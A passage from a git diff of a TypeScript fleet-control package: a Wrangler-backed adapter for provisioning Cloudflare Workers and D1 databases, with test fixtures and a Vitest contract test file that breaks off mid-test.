field(value, name); + return typeof candidate === 'string' ? candidate : undefined; +} + +function isWranglerNotFound(error: unknown): boolean { + return ( + error instanceof Error && + /not found|10090|does not exist|has no deployments/i.test(error.message) + ); +} + +function readVersionId(value: unknown): string | undefined { + const id = field(value, 'id') ?? field(value, 'version_id'); + return typeof id === 'string' ? id : undefined; +} + +function versionTag(value: unknown): string | undefined { + const annotations = field(value, 'annotations'); + const tag = field(annotations, 'workers/tag') ?? field(value, 'tag'); + return typeof tag === 'string' ? tag : undefined; +} + +function normalizeBinding(binding: unknown): PlainWorkerVersionBinding { + if (!binding || typeof binding !== 'object' || Array.isArray(binding)) { + return { + type: 'unsupported', + name: undefined, + issue: 'not-object', + }; + } + const name = stringField(binding, 'name'); + const rawType = field(binding, 'type'); + if ( + typeof rawType !== 'string' || + rawType.length === 0 || + rawType !== rawType.trim() + ) { + return { + type: 'unsupported', + name, + providerType: typeof rawType === 'string' ? rawType : undefined, + issue: 'invalid-type', + }; + } + switch (rawType) { + case 'd1': { + const id = field(binding, 'id') ?? field(binding, 'database_id'); + return { + type: 'd1', + name, + databaseId: typeof id === 'string' ? id : undefined, + }; + } + case 'durable_object_namespace': + return { + type: 'durable-object', + name, + className: stringField(binding, 'class_name'), + namespaceId: stringField(binding, 'namespace_id'), + }; + case 'service': + return { + type: 'service', + name, + service: stringField(binding, 'service'), + }; + case 'queue': + return { + type: 'queue-producer', + name, + queueName: stringField(binding, 'queue_name'), + }; + case 'r2_bucket': + return { + type: 'r2-bucket', + name, + bucketName: stringField(binding, 'bucket_name'), + }; + case 'plain_text': + return { type: 'plain-text', name, value: stringField(binding, 'text') }; + case 'secret_text': + return { type: 'secret-text', name }; + default: + return { + type: 'unsupported', + name, + providerType: rawType, + issue: 'unsupported-type', + }; + } +} + +function normalizeVersionSummary(value: unknown): PlainWorkerVersionSummary { + return { versionId: readVersionId(value), tag: versionTag(value) }; +} + +export class WranglerPlainWorkerProvisioningApi + implements PlainWorkerProvisioningApi +{ + readonly #runner: CommandRunner; + readonly #routeApi: PlainWorkerRouteApi; + readonly #exportDirectory: string; + readonly #exportStore: DurableDatabaseExportStore; + readonly #mutationFenceScope = new AsyncLocalStorage(); + readonly #routeGetDatabase: + | NonNullable + | undefined; + readonly #routeDeleteDatabase: + | NonNullable + | undefined; + readonly maxMutationDurationMs: number; + readonly listWorkerR2Attachments: + | NonNullable + | undefined; + readonly getR2Bucket: + | NonNullable + | undefined; + readonly createR2Bucket: + | NonNullable + | undefined; + readonly assertR2BucketEmpty: + | NonNullable + | undefined; + readonly deleteR2Bucket: + | NonNullable + | undefined; + + constructor(options: { + readonly runner: CommandRunner; + readonly routeApi: PlainWorkerRouteApi; + readonly exportDirectory: string; + readonly exportStore: DurableDatabaseExportStore; + }) { + this.#runner = options.runner; + this.#routeApi = options.routeApi; + this.#exportDirectory = resolve(options.exportDirectory); + this.#exportStore = options.exportStore; + this.#routeGetDatabase = options.routeApi.getDatabase?.bind( + options.routeApi, + ); + this.#routeDeleteDatabase = options.routeApi.deleteDatabase?.bind( + options.routeApi, + ); + this.maxMutationDurationMs = options.runner.maxDurationMs; + this.listWorkerR2Attachments = + options.routeApi.listWorkerR2Attachments?.bind(options.routeApi); + this.getR2Bucket = options.routeApi.getR2Bucket?.bind(options.routeApi); + this.createR2Bucket = options.routeApi.createR2Bucket?.bind( + options.routeApi, + ); + this.assertR2BucketEmpty = options.routeApi.assertR2BucketEmpty?.bind( + options.routeApi, + ); + this.deleteR2Bucket = options.routeApi.deleteR2Bucket?.bind( + options.routeApi, + ); + } + + get supportsExactDatabaseDeletion(): boolean { + return Boolean(this.#routeGetDatabase && this.#routeDeleteDatabase); + } + + withMutationFence( + fence: ExternalMutationFence, + operation: () => Promise, + ): Promise { + // Tolerates the legacy entry-asserting double in + // test/wrangler-loop-backend.test.ts:201-206; production asserts per request. + if (this.#mutationFenceScope.getStore() === fence) return operation(); + return this.#routeApi.withMutationFence(fence, () => + this.#mutationFenceScope.run(fence, operation), + ); + } + + queryDatabase( + databaseId: string, + sql: string, + bindings?: readonly string[], + ): Promise>[]> { + return this.#routeApi.queryDatabase(databaseId, sql, bindings); + } + + batchDatabase( + databaseId: string, + statements: readonly { + readonly sql: string; + readonly bindings?: readonly string[]; + }[], + ): Promise { + return this.#routeApi.batchDatabase(databaseId, statements); + } + + listWorkerDatabaseAttachments( + databaseId: string, + ): ReturnType { + return this.#routeApi.listWorkerDatabaseAttachments(databaseId); + } + + inspectActiveWorkerRoute( + scriptName: string, + ): ReturnType { + return this.#routeApi.inspectActiveWorkerRoute(scriptName); + } + + listCustomDomains(): ReturnType { + return this.#routeApi.listCustomDomains(); + } + + inspectOrdinaryWorkerFootprint( + scriptName: string, + ): ReturnType { + return this.#routeApi.inspectOrdinaryWorkerFootprint(scriptName); + } + + listDurableObjectNamespaces( + scriptName: string, + ): ReturnType { + return this.#routeApi.listDurableObjectNamespaces(scriptName); + } + + listOrdinaryWorkerSecretNames( + scriptName: string, + ): ReturnType { + return this.#routeApi.listOrdinaryWorkerSecretNames(scriptName); + } + + deleteControlSecrets( + scriptName: string, + secretNames: readonly string[], + fence: ExternalMutationFence, + ): Promise { + return this.#routeApi.deleteControlSecrets(scriptName, secretNames, fence); + } + + attachCustomDomain( + target: { readonly hostname: string; readonly service: string }, + fence: ExternalMutationFence, + ): Promise { + return this.#routeApi.attachCustomDomain(target, fence); + } + + detachCustomDomain( + domainId: string, + fence: ExternalMutationFence, + ): Promise { + return this.#routeApi.detachCustomDomain(domainId, fence); + } + + disableOrdinaryWorkerPublicAccess( + scriptName: string, + fence: ExternalMutationFence, + ): Promise { + return this.#routeApi.disableOrdinaryWorkerPublicAccess(scriptName, fence); + } + + async listDatabases(): Promise { + const listed = await this.#runner.run(['d1', 'list', '--json']); + return asArray(parseJson(listed.stdout, 'd1 list')).map((database) => ({ + databaseId: stringField(database, 'uuid'), + name: stringField(database, 'name'), + })); + } + + async getDatabase( + databaseId: string, + ): Promise { + if (this.#routeGetDatabase) return this.#routeGetDatabase(databaseId); + let result: CommandResult; + try { + result = await this.#runner.run(['d1', 'info', databaseId, '--json']); + } catch (error) { + if (isWranglerNotFound(error)) return undefined; + throw error; + } + const parsed = parseJson(result.stdout, 'd1 info'); + const body = field(parsed, 'result') ?? parsed; + const id = field(body, 'uuid'); + const name = field(body, 'name'); + if (id !== databaseId || typeof name !== 'string' || name.length === 0) { + throw new Error('D1 info result has an invalid uuid or name'); + } + return { id: databaseId, name, created: false }; + } + + async createDatabase( + name: string, + fence: ExternalMutationFence, + ): Promise { + await fence.assertOwned(); + try { + await this.#runner.run(['d1', 'create', name]); + return { status: 'succeeded' }; + } catch (error) { + return { status: 'failed', error }; + } + } + + async deleteDatabaseFenced( + databaseId: string, + fence: ExternalMutationFence, + ): Promise { + const getDatabase = this.#routeGetDatabase; + const deleteDatabase = this.#routeDeleteDatabase; + if (!getDatabase || !deleteDatabase) { + // Port self-enforcement; unreachable through WranglerLoopBackend, which preflights supportsExactDatabaseDeletion. + throw new Error( + 'Wrangler plain Worker adapter requires immutable-ID D1 route methods', + ); + } + await this.withMutationFence(fence, () => deleteDatabase(databaseId)); + } + + async deploymentStatus( + scriptName: string, + ): Promise { + let result: CommandResult; + try { + result = await this.#runner.run([ + 'deployments', + 'status', + '--name', + scriptName, + '--json', + ]); + } catch (error) { + if (isWranglerNotFound(error)) return undefined; + throw error; + } + const parsed = parseJson(result.stdout, 'deployments status'); + const body = field(parsed, 'result') ?? parsed; + return { + versions: asArray(field(body, 'versions')).map((version) => { + const rawPercentage = field(version, 'percentage'); + return { + versionId: readVersionId(version), + percentage: + rawPercentage === undefined ? undefined : Number(rawPercentage), + }; + }), + }; + } + + async listVersions( + scriptName: string, + ): Promise { + try { + const listed = await this.#runner.run([ + 'versions', + 'list', + '--name', + scriptName, + '--json', + ]); + return asArray(parseJson(listed.stdout, 'versions list')).map( + normalizeVersionSummary, + ); + } catch (error) { + if (isWranglerNotFound(error)) return undefined; + throw error; + } + } + + async viewVersion( + scriptName: string, + versionId: string, + ): Promise { + const viewed = await this.#runner.run([ + 'versions', + 'view', + versionId, + '--name', + scriptName, + '--json', + ]); + const parsed = parseJson(viewed.stdout, 'versions view'); + const resources = field(parsed, 'resources'); + return { + versionId: readVersionId(parsed), + tag: versionTag(parsed), + bindings: asArray(field(resources, 'bindings')).map(normalizeBinding), + }; + } + + async findVersion( + scriptName: string, + versionId: string, + ): Promise { + try { + return await this.viewVersion(scriptName, versionId); + } catch (error) { + if (isWranglerNotFound(error)) return undefined; + throw error; + } + } + + async uploadCandidate( + intent: PlainWorkerUploadIntent, + fence: ExternalMutationFence, + ): Promise { + const directory = await mkdtemp(join(tmpdir(), 'anchorage-fleet-')); + let settled: + | Readonly<{ ok: true }> + | Readonly<{ ok: false; error: unknown }>; + let dispatched = false; + let cleanup: + | Readonly<{ status: 'succeeded' }> + | Readonly<{ status: 'failed'; error: unknown }>; + try { + for (const module of intent.modules) { + const modulePath = resolve(directory, module.name); + if (!modulePath.startsWith(`${directory}/`)) { + throw new Error( + `module '${module.name}' escapes the staging directory`, + ); + } + await mkdir(resolve(modulePath, '..'), { recursive: true }); + await writeFile(modulePath, module.content); + } + const configPath = join(directory, 'wrangler.candidate.json'); + await writeFile( + configPath, + JSON.stringify({ + name: intent.scriptName, + main: intent.mainModule, + workers_dev: intent.publicAccess.workersDevEnabled, + preview_urls: intent.publicAccess.previewUrlsEnabled, + compatibility_date: intent.compatibilityDate, + compatibility_flags: intent.compatibilityFlags, + vars: Object.fromEntries( + intent.bindings.plainText.map(({ name, value }) => [name, value]), + ), + d1_databases: intent.bindings.d1.map((binding) => ({ + binding: binding.name, + database_name: binding.databaseName, + database_id: binding.databaseId, + })), + durable_objects: { + bindings: intent.bindings.durableObjects.map((binding) => ({ + name: binding.name, + class_name: binding.className, + })), + }, + services: + intent.bindings.services.length > 0 + ? intent.bindings.services.map((binding) => ({ + binding: binding.name, + service: binding.service, + })) + : undefined, + ...(intent.mode === 'initial' + ? { + migrations: intent.durableObjectMigrations.map((migration) => ({ + tag: migration.tag, + new_sqlite_classes: migration.newSqliteClasses, + new_classes: migration.newClasses, + deleted_classes: migration.deletedClasses, + renamed_classes: migration.renamedClasses, + })), + } + : {}), + queues: + intent.bindings.queueProducers.length > 0 + ? { + producers: intent.bindings.queueProducers.map((binding) => ({ + binding: binding.name, + queue: binding.queueName, + })), + } + : undefined, + r2_buckets: intent.bindings.r2Buckets.map((binding) => ({ + binding: binding.name, + bucket_name: binding.bucketName, + })), + limits: intent.limits.cpuMs + ? { cpu_ms: intent.limits.cpuMs } + : undefined, + }), + ); + const secretsPath = join(directory, 'wrangler.secrets.json'); + await writeFile( + secretsPath, + JSON.stringify( + Object.fromEntries( + intent.bindings.secrets.map(({ name, value }) => [name, value]), + ), + ), + { mode: 0o600 }, + ); + await fence.assertOwned(); + dispatched = true; + await this.#runner.run([ + ...(intent.mode === 'initial' ? ['deploy'] : ['versions', 'upload']), + '--config', + configPath, + '--secrets-file', + secretsPath, + '--tag', + intent.candidateTag, + ]); + settled = { ok: true }; + } catch (error) { + settled = { ok: false, error }; + } finally { + try { + await rm(directory, { recursive: true, force: true }); + cleanup = { status: 'succeeded' }; + } catch (error) { + cleanup = { status: 'failed', error }; + } + } + if (!dispatched && !settled.ok) { + throw cleanup.status === 'failed' + ? new AggregateError( + [settled.error, cleanup.error], + 'Worker upload preparation and adapter scratch cleanup both failed', + ) + : settled.error; + } + return settled.ok + ? { status: 'succeeded', cleanup } + : { status: 'failed', error: settled.error, cleanup }; + } + + async createDeployment( + scriptName: string, + versions: readonly { versionId: string; percentage: number }[], + fence: ExternalMutationFence, + ): Promise { + await fence.assertOwned(); + try { + await this.#runner.run([ + 'versions', + 'deploy', + ...versions.map( + ({ versionId, percentage }) => `${versionId}@${percentage}%`, + ), + '--name', + scriptName, + '-y', + ]); + return { status: 'succeeded' }; + } catch (error) { + return { status: 'failed', error }; + } + } + + async deleteWorkerScript( + scriptName: string, + fence: ExternalMutationFence, + ): Promise<'deleted' | 'absent'> { + await fence.assertOwned(); + try { + await this.#runner.run(['delete', '--name', scriptName, '--force']); + return 'deleted'; + } catch (error) { + if (isWranglerNotFound(error)) return 'absent'; + throw error; + } + } + + async exportDatabase( + database: { readonly id: string; readonly name: string }, + fence: ExternalMutationFence, + ): Promise { + await mkdir(this.#exportDirectory, { recursive: true }); + const temporaryDirectory = await mkdtemp( + join(this.#exportDirectory, '.wrangler-export-'), + ); + const fileName = `${database.name}-${Date.now()}.sql`; + const temporaryLocation = join(temporaryDirectory, fileName); + try { + await fence.assertOwned(); + await this.#runner.run([ + 'd1', + 'export', + database.id, + '--remote', + '--skip-confirmation', + '--output', + temporaryLocation, + ]); + await chmod(temporaryLocation, 0o600); + const metadata = await stat(temporaryLocation); + if (!metadata.isFile() || metadata.size === 0) { + throw new Error('Wrangler database export is not a non-empty file'); + } + const hash = createHash('sha256'); + for await (const chunk of createReadStream(temporaryLocation)) { + hash.update(chunk); + } + const sha256 = hash.digest('hex'); + const stored = await this.#exportStore.write({ + databaseId: database.id, + fileName, + body: Readable.toWeb( + createReadStream(temporaryLocation), + ) as ReadableStream, + contentLength: metadata.size, + }); + if ( + !stored.location || + stored.size !== metadata.size || + stored.sha256 !== sha256 + ) { + throw new Error( + 'durable database export store returned mismatched committed integrity', + ); + } + return { location: stored.location, size: metadata.size, sha256 }; + } finally { + await rm(temporaryDirectory, { recursive: true, force: true }); + } + } +} diff --git a/packages/fleet-control/test/fixtures/plain-worker-port-probe.ts b/packages/fleet-control/test/fixtures/plain-worker-port-probe.ts new file mode 100644 index 00000000..5ec4aa1f --- /dev/null +++ b/packages/fleet-control/test/fixtures/plain-worker-port-probe.ts @@ -0,0 +1,86 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { createHash } from 'node:crypto'; +import { vi } from 'vitest'; +import type { DurableDatabaseExportStore } from '../../src/cloudflare-client.js'; +import type { + ExternalMutationFence, + PlainWorkerRouteApi, +} from '../../src/types.js'; + +export function routeApi( + overrides: Partial = {}, +): PlainWorkerRouteApi { + return { + async withMutationFence(fence, operation) { + // Models the tolerated legacy entry-asserting shape from + // test/wrangler-loop-backend.test.ts:201-206. Real adapters are required + // only to assert each mutating request; B2's conformance fixture should + // default to the non-asserting production shape. + await fence.assertOwned(); + return operation(); + }, + async queryDatabase() { + return []; + }, + async batchDatabase() {}, + async listWorkerDatabaseAttachments() { + return []; + }, + async inspectActiveWorkerRoute() { + return undefined; + }, + async listCustomDomains() { + return []; + }, + async inspectOrdinaryWorkerFootprint() { + return { scriptPresent: false, customDomains: [], zoneRoutes: [] }; + }, + async listDurableObjectNamespaces() { + return []; + }, + async listOrdinaryWorkerSecretNames() { + return []; + }, + async deleteControlSecrets() {}, + async attachCustomDomain() {}, + async detachCustomDomain() {}, + async disableOrdinaryWorkerPublicAccess() {}, + ...overrides, + }; +} + +export function mutationFence( + assertOwned = vi.fn(async () => {}), +): ExternalMutationFence { + return { mutationLeaseTtlMs: 15 * 60_000, assertOwned }; +} + +export async function drain(body: ReadableStream): Promise<{ + readonly size: number; + readonly sha256: string; +}> { + const chunks: Uint8Array[] = []; + const reader = body.getReader(); + for (;;) { + const chunk = await reader.read(); + if (chunk.done) break; + chunks.push(chunk.value); + } + const bytes = Buffer.concat(chunks); + return { + size: bytes.byteLength, + sha256: createHash('sha256').update(bytes).digest('hex'), + }; +} + +export function memoryStore( + location = 'memory://export', +): DurableDatabaseExportStore { + return { + async write(input) { + const committed = await drain(input.body); + return { location, size: committed.size, sha256: committed.sha256 }; + }, + }; +} diff --git a/packages/fleet-control/test/fixtures/wrangler-fs-mock.ts b/packages/fleet-control/test/fixtures/wrangler-fs-mock.ts new file mode 100644 index 00000000..8b233ef2 --- /dev/null +++ b/packages/fleet-control/test/fixtures/wrangler-fs-mock.ts @@ -0,0 +1,101 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { afterEach, vi } from 'vitest'; + +export interface PlainWorkerFsControl { + failFleetCleanup: boolean; + residualDirectory: string | undefined; + cleanupError: unknown; + failOperation?: 'mkdtemp' | 'writeFile' | 'chmod' | 'stat'; + operationError?: unknown; + mkdtempCalls?: number; + scratchDirectories?: string[]; +} + +export async function createFsPromisesMock(control: PlainWorkerFsControl) { + const actual = + await vi.importActual( + 'node:fs/promises', + ); + return { + ...actual, + async mkdtemp(...arguments_: Parameters) { + if (String(arguments_[0]).includes('anchorage-fleet-')) { + if (control.mkdtempCalls !== undefined) control.mkdtempCalls += 1; + if (control.failOperation === 'mkdtemp') { + throw control.operationError; + } + } + return actual.mkdtemp(...arguments_); + }, + async writeFile(...arguments_: Parameters) { + if ( + control.failOperation === 'writeFile' && + String(arguments_[0]).includes('anchorage-fleet-') + ) { + throw control.operationError; + } + return actual.writeFile(...arguments_); + }, + async chmod(...arguments_: Parameters) { + if (control.failOperation === 'chmod') throw control.operationError; + return actual.chmod(...arguments_); + }, + async stat(...arguments_: Parameters) { + if (control.failOperation === 'stat') throw control.operationError; + return actual.stat(...arguments_); + }, + async rm( + path: Parameters[0], + options: Parameters[1], + ) { + if (String(path).includes('anchorage-fleet-')) { + control.scratchDirectories?.push(String(path)); + } + if ( + control.failFleetCleanup && + String(path).includes('anchorage-fleet-') + ) { + control.residualDirectory = String(path); + throw control.cleanupError; + } + return actual.rm(path, options); + }, + }; +} + +export function registerScratchCleanup( + control: PlainWorkerFsControl, + defaults: { + readonly cleanupError: unknown; + readonly operationError?: unknown; + }, +): Set { + const exportDirectories = new Set(); + afterEach(async () => { + const actual = + await vi.importActual( + 'node:fs/promises', + ); + control.failFleetCleanup = false; + control.failOperation = undefined; + if (control.residualDirectory) { + await actual.rm(control.residualDirectory, { + recursive: true, + force: true, + }); + control.residualDirectory = undefined; + } + await Promise.all( + [...exportDirectories].map((directory) => + actual.rm(directory, { recursive: true, force: true }), + ), + ); + exportDirectories.clear(); + if (control.mkdtempCalls !== undefined) control.mkdtempCalls = 0; + if (control.scratchDirectories) control.scratchDirectories.length = 0; + control.cleanupError = defaults.cleanupError; + control.operationError = defaults.operationError; + }); + return exportDirectories; +} diff --git a/packages/fleet-control/test/wrangler-loop-backend-port-contract.test.ts b/packages/fleet-control/test/wrangler-loop-backend-port-contract.test.ts new file mode 100644 index 00000000..8b6f292d --- /dev/null +++ b/packages/fleet-control/test/wrangler-loop-backend-port-contract.test.ts @@ -0,0 +1,675 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { createHash } from 'node:crypto'; +import { mkdtemp, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { describe, expect, it, vi } from 'vitest'; +import type { DurableDatabaseExportStore } from '../src/cloudflare-client.js'; +import { WorkerDeploymentError } from '../src/deployment-error.js'; +import { deploymentSpecDigest } from '../src/spec-digest.js'; +import type { + DatabaseReference, + DeploymentSecrets, + DeploymentSpec, + FleetRecord, + PlainWorkerRouteApi, +} from '../src/types.js'; +import { WranglerLoopBackend } from '../src/wrangler-loop-backend.js'; +import type { CommandResult, CommandRunner } from '../src/wrangler-runner.js'; +import { + memoryStore, + mutationFence, + routeApi, +} from './fixtures/plain-worker-port-probe.js'; +import { + type PlainWorkerFsControl, + registerScratchCleanup, +} from './fixtures/wrangler-fs-mock.js'; + +const fsControl = vi.hoisted(() => ({ + failFleetCleanup: false, + residualDirectory: undefined, + cleanupError: new Error('adapter cleanup failed'), +})); + +vi.mock('node:fs/promises', async () => { + const { createFsPromisesMock } = await import( + './fixtures/wrangler-fs-mock.js' + ); + return createFsPromisesMock(fsControl); +}); + +const exportDirectories = registerScratchCleanup(fsControl, { + cleanupError: fsControl.cleanupError, +}); + +const spec: DeploymentSpec = { + tenantTag: 'acme', + environment: 'production', + scriptName: 'acme-production', + databaseName: 'acme-production', + compatibilityDate: '2026-08-10', + compatibilityFlags: ['nodejs_compat'], + mainModule: 'worker.js', + modules: [{ name: 'worker.js', content: 'export default { fetch() {} }' }], + authoredBy: 'platform', + schemaVersion: 3, + migrations: [], + durableObjectMigrations: [], + durableObjectBindings: [], + maintenanceBaseUrl: 'https://control.example.test', + routeHostname: 'app.example.test', +}; + +const database: DatabaseReference = { + id: 'database-id', + name: spec.databaseName, + created: true, +}; + +const secrets: DeploymentSecrets = { + deploymentIdentity: 'deployment-identity-secret-value-0001', + maintenanceAdmin: 'maintenance-admin-secret-value-00001', +}; + +const fleetRecord: FleetRecord = { + tenantTag: spec.tenantTag, + backend: 'plain-worker', + environment: spec.environment, + scriptName: spec.scriptName, + databaseId: database.id, + databaseName: database.name, + schemaVersion: spec.schemaVersion, + artifactVersion: 'candidate', + desiredSpecDigest: deploymentSpecDigest(spec), + durableObjectBindings: [], + routeHostname: spec.routeHostname, + phase: 'worker-deleted', + updatedAt: '2026-08-11T00:00:00.000Z', +}; + +class FakeRunner implements CommandRunner { + readonly maxDurationMs = 5 * 60_000; + readonly mutableCalls: string[][] = []; + readonly calls: readonly string[][] = this.mutableCalls; + + constructor( + readonly handler: (arguments_: readonly string[]) => Promise, + ) {} + + run(arguments_: readonly string[]): Promise { + this.mutableCalls.push([...arguments_]); + return this.handler(arguments_); + } +} + +async function backend( + runner: CommandRunner, + options: { + readonly routeApi?: PlainWorkerRouteApi; + readonly exportStore?: DurableDatabaseExportStore; + } = {}, +): Promise { + const exportDirectory = await mkdtemp(join(tmpdir(), 'backend-export-')); + exportDirectories.add(exportDirectory); + return new WranglerLoopBackend({ + runner, + routeApi: options.routeApi ?? routeApi(), + exportDirectory, + exportStore: options.exportStore ?? memoryStore(), + }); +} + +function notFound(message: string): never { + throw new Error(`${message} not found`); +} + +async function rejectedValue(operation: Promise): Promise { + try { + await operation; + } catch (error) { + return error; + } + throw new Error('expected operation to reject'); +} + +function uploadRunner({ + dispatchFails = false, + dispatchFailure, + commitBeforeFailure = true, +}: { + readonly dispatchFails?: boolean; + readonly dispatchFailure?: unknown; + readonly commitBeforeFailure?: boolean; +} = {}): FakeRunner { + let uploaded = false; + const digest = deploymentSpecDigest(spec); + return new FakeRunner(async (arguments_) => { + const command = arguments_.slice(0, 2).join(' '); + if (command === 'deployments status') { + if (!uploaded) return notFound('deployment'); + return { + stdout: JSON.stringify({ + versions: [{ id: 'candidate', percentage: 100 }], + }), + stderr: '', + }; + } + if (command === 'versions list') { + if (!uploaded) return notFound('script'); + return { + stdout: JSON.stringify([ + { id: 'candidate', annotations: { 'workers/tag': digest } }, + ]), + stderr: '', + }; + } + if (command === 'versions view') { + return { + stdout: JSON.stringify({ + id: 'candidate', + resources: { + bindings: [ + { type: 'plain_text', name: 'FLEET_SPEC_DIGEST', text: digest }, + { + type: 'plain_text', + name: 'FLEET_INGRESS_CONTRACT', + text: 'guarded-object-v1', + }, + ], + }, + }), + stderr: '', + }; + } + if (arguments_[0] === 'deploy') { + if (dispatchFails) { + if (commitBeforeFailure) uploaded = true; + throw dispatchFailure; + } + uploaded = true; + return { stdout: 'ignored', stderr: '' }; + } + throw new Error(`unexpected command ${arguments_.join(' ')}`); + }); +} + +describe('WranglerLoopBackend provisioning port contract', () => { + it('catches a truncating durable export store end to end', async () => { + const runner = new FakeRunner(async (arguments_) => { + await writeFile( + arguments_[arguments_.indexOf('--output') + 1] as string, + 'complete export', + ); + return { stdout: '', stderr: '' }; + }); + const exportStore: DurableDatabaseExportStore = { + async write(input) { + const reader = input.body.getReader(); + const first = await reader.read(); + const prefix = first.done ? new Uint8Array() : first.value.slice(0, 2); + await reader.cancel(); + return { + location: 'memory://prefix', + size: prefix.byteLength, + sha256: createHash('sha256').update(prefix).digest('hex'), + }; + }, + }; + await expect( + (await backend(runner, { exportStore })).exportDatabase( + database, + mutationFence(), + ), + ).rejects.toThrow( + 'durable database export store returned mismatched committed integrity', + ); + }); + + it('reconciles a failed upload by tag rediscovery', async () => { + const dispatchFailure = new Error('dispatch result unknown'); + const runner = uploadRunner({ dispatchFails: true, dispatchFailure }); + await expect( + (await backend(runner)).deployWorker( + spec, + database, + secrets, + undefined, + mutationFence(), + ), + ).resolves.toEqual({ artifactVersion: 'candidate', created: true }); + }); + + it('propagates a rejected upload without rollback calls', async () => { + const runner = uploadRunner(); + const denied = new Error('lease lost before dispatch'); + await expect( + (await backend(runner)).deployWorker( + spec, + database, + secrets, + undefined, + mutationFence( + vi.fn(async () => { + throw denied; + }), + ), + ), + ).rejects.toBe(denied); + expect(runner.calls.map((arguments_) => arguments_.slice(0, 2))).toEqual([ + ['deployments', 'status'], + ['versions', 'list'], + ]); + }); + + it('does no adapter scratch work for a persisted candidate no-op', async () => { + fsControl.failFleetCleanup = true; + fsControl.mkdtempCalls = 0; + const digest = deploymentSpecDigest(spec); + const runner = new FakeRunner(async (arguments_) => { + const command = arguments_.slice(0, 2).join(' '); + if (command === 'deployments status') { + return { + stdout: JSON.stringify({ + versions: [{ id: 'candidate', percentage: 100 }], + }), + stderr: '', + }; + } + if (command === 'versions list') { + return { + stdout: JSON.stringify([ + { id: 'candidate', annotations: { 'workers/tag': digest } }, + ]), + stderr: '', + }; + } + if (command === 'versions view') { + return { + stdout: JSON.stringify({ + id: 'candidate', + resources: { + bindings: [ + { type: 'd1', name: 'DB', id: database.id }, + { + type: 'plain_text', + name: 'DEPLOYMENT_TENANT', + text: spec.tenantTag, + }, + { + type: 'plain_text', + name: 'FLEET_ENVIRONMENT', + text: spec.environment, + }, + { + type: 'plain_text', + name: 'FLEET_SPEC_DIGEST', + text: digest, + }, + { + type: 'plain_text', + name: 'FLEET_INGRESS_CONTRACT', + text: 'guarded-object-v1', + }, + ], + }, + }), + stderr: '', + }; + } + throw new Error(`unexpected command ${arguments_.join(' ')}`); + }); + + await expect( + (await backend(runner)).deployWorker( + spec, + database, + secrets, + undefined, + mutationFence(), + 'candidate', + ), + ).resolves.toEqual({ artifactVersion: 'candidate', created: false }); + expect(fsControl.mkdtempCalls).toBe(0); + expect(fsControl.residualDirectory).toBeUndefined(); + expect(runner.calls.some((arguments_) => arguments_[0] === 'deploy')).toBe( + false, + ); + }); + + it('rejects a scratch allocation failure after provider reads and before dispatch', async () => { + const allocationFailure = new Error('scratch allocation failed'); + const events: string[] = []; + fsControl.failOperation = 'mkdtemp'; + fsControl.operationError = allocationFailure; + fsControl.mkdtempCalls = 0; + const runner = new FakeRunner(async (arguments_) => { + const command = arguments_.slice(0, 2).join(' '); + if (command === 'deployments status') { + events.push('status read'); + return notFound('deployment'); + } + if (command === 'versions list') { + events.push('version read'); + return notFound('script'); + } + throw new Error(`unexpected command ${arguments_.join(' ')}`); + }); + const operation = (await backend(runner)) + .deployWorker(spec, database, secrets, undefined, mutationFence()) + .catch((error: unknown) => { + events.push('rejection'); + throw error; + }); + + await expect(operation).rejects.toBe(allocationFailure); + expect(events).toEqual(['status read', 'version read', 'rejection']); + expect(fsControl.mkdtempCalls).toBe(1); + expect(runner.calls.map((arguments_) => arguments_.slice(0, 2))).toEqual([ + ['deployments', 'status'], + ['versions', 'list'], + ]); + }); + + it('does not status-read back a pre-dispatch createDeployment rejection', async () => { + const digest = deploymentSpecDigest(spec); + let uploaded = false; + let statusReads = 0; + const runner = new FakeRunner(async (arguments_) => { + const command = arguments_.slice(0, 2).join(' '); + if (command === 'deployments status') { + statusReads += 1; + return { + stdout: JSON.stringify({ + versions: [{ id: 'current', percentage: 100 }], + }), + stderr: '', + }; + } + if (command === 'versions list') { + return { + stdout: JSON.stringify([ + { id: 'current' }, + ...(uploaded + ? [ + { + id: 'candidate', + annotations: { 'workers/tag': digest }, + }, + ] + : []), + ]), + stderr: '', + }; + } + if (command === 'versions view') { + const versionId = arguments_[2]; + return { + stdout: JSON.stringify({ + id: versionId, + resources: { + bindings: [ + { type: 'd1', name: 'DB', id: database.id }, + { + type: 'plain_text', + name: 'DEPLOYMENT_TENANT', + text: spec.tenantTag, + }, + { + type: 'plain_text', + name: 'FLEET_ENVIRONMENT', + text: spec.environment, + }, + { + type: 'plain_text', + name: 'FLEET_SPEC_DIGEST', + text: digest, + }, + { + type: 'plain_text', + name: 'FLEET_INGRESS_CONTRACT', + text: 'guarded-object-v1', + }, + ], + }, + }), + stderr: '', + }; + } + if (command === 'versions upload') { + uploaded = true; + return { stdout: '', stderr: '' }; + } + throw new Error(`unexpected command ${arguments_.join(' ')}`); + }); + const denied = new Error('lease lost before deployment dispatch'); + let assertions = 0; + const operation = (await backend(runner)).deployWorker( + spec, + database, + secrets, + undefined, + mutationFence( + vi.fn(async () => { + assertions += 1; + if (assertions === 2) throw denied; + }), + ), + ); + await expect(operation).rejects.toBeInstanceOf(WorkerDeploymentError); + await expect(operation).rejects.toMatchObject({ cause: denied }); + expect(statusReads).toBe(2); + expect( + runner.calls.some( + (arguments_) => + arguments_[0] === 'versions' && arguments_[1] === 'deploy', + ), + ).toBe(false); + }); + + it('surfaces cleanup failure after reconciliation and leaves the Worker deployed', async () => { + fsControl.failFleetCleanup = true; + const runner = uploadRunner(); + await expect( + (await backend(runner)).deployWorker( + spec, + database, + secrets, + undefined, + mutationFence(), + ), + ).rejects.toBe(fsControl.cleanupError); + expect( + runner.calls.some( + (arguments_) => + arguments_[0] === 'versions' && arguments_[1] === 'view', + ), + ).toBe(true); + expect(runner.calls.some((arguments_) => arguments_[0] === 'delete')).toBe( + false, + ); + expect(fsControl.residualDirectory).toBeDefined(); + }); + + it('surfaces an undefined adapter cleanup rejection after backend reconciliation', async () => { + fsControl.failFleetCleanup = true; + fsControl.cleanupError = undefined; + await expect( + (await backend(uploadRunner())).deployWorker( + spec, + database, + secrets, + undefined, + mutationFence(), + ), + ).rejects.toBeUndefined(); + }); + + it('uses rediscovery failure when a dispatched upload rejects with undefined', async () => { + const rejection = await rejectedValue( + 